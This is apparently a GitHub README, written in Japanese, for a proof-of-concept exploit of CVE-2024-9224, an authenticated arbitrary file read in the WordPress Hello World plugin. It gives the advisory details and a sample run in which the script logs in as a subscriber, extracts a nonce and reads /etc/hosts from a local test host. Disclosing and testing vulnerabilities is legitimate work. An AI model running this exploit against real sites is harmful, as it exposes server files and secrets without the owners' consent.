randomrobbiebf/cve-2024-9224Hello World <= 2.1.1 - 認証済み（購読者以上）任意ファイル読み取り
Hello World <= 2.1.1 - 認証済み（Subscriber+）任意ファイル読み取り
WordPress 用 Hello World プラグインは、バージョン 2.1.1 以前のすべてのバージョンにおいて、hello_world_lyric() 関数を介して任意ファイル読み取りの脆弱性の影響を受けます。これにより、Subscriber レベルのアクセス権以上を持つ認証済みの攻撃者が、サーバー上の任意のファイルの内容を読み取ることが可能になり、そのファイルには機密情報が含まれる可能性があります。
Published: 2024-09-30 00:00:00
CVE: CVE-2024-9224
CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CVSS Score: 6.5
Slugs: hello-world
テキストファイルのごく一部のみが表示されます。
python3 CVE-2024-9224.py -un user -p user --url http://kubernetes.docker.internal -f /etc/hosts
Vulnerability check: http://kubernetes.docker.internal
Logged in successfully.
Nonce value: 0dbe58cb8d
Extracted text: 127.0.0.1 localhost